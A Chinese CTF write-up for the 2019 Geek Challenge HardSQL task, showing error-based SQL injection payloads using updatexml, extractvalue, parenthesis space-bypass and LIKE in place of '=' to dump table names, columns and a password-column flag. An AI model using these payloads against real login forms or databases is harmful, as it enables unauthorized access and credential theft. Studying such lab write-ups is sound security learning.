[极客大挑战 2019]HardSQL 1(报错注入)

[极客大挑战 2019]HardSQL 1(报错注入)

输入1’,出错,1’#显示不同,存在单引号闭合注入。
在这里插入图片描述

order by查字段,union,堆叠注入,和输入数字都烦返回错误
在这里插入图片描述

=,空格,和好多关键字都被过滤了。

空格用()绕过,=用like绕过。

尝试报错注入:

1'or(updatexml(1,concat(0x7e,database()),1))#&password=1

1'or(extractvalue( 1,concat(0x7e,database() ) ))#也可以

注:0x7e 是~符号的十六进制。
在这里插入图片描述

发现存在报错注入。

  1. 查询表名:
    本应构造:
1'or updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables from where table_schema=database()),1)#

空格被过滤,用()绕过,因此构造

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

在这里插入图片描述

  1. 查询字段名

本应构造:

1'or updatexml(1,concat(0x7e,select group_concat(column_name) from information_schema.columns from where table_schema=database() and table_name='H4rDsq1'),1)#

绕过空格与and过滤后,构造为:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

在这里插入图片描述

得到 id,username,password字段。

  1. 查看password字段

构造:

1'or updatexml(1,concat(0x7e,select group_concat(password) from H4rDsq1),1)#

绕过空格过滤后构造:

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))#

在这里插入图片描述

得到一半的flag:flag{62f71bc2-4189-48c7-a2c2-8b。

  1. 可以用right()函数或mid() 函数来读取。
1'or(updatexml(1,concat(0x7e,(select(right(group_concat(password),25))from(H4rDsq1))),1))#

1'or(updatexml(1,concat(0x7e,(select(mid(group_concat(password),20,40))from(H4rDsq1))),1))#

mid被过滤了,right可以使用。
在这里插入图片描述

得到后面缺少的flag为:322f9778f3}。

通过这道题复习到:

    1. 报错注入extractvalue(两个参数)和updatexml(三个参数);

    2. 空格过滤可以用()绕过(之前的题目还有/**/,${IFS}绕过),=用like代替。

    3. 学过的right(),mid()函数读取一段字符串。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值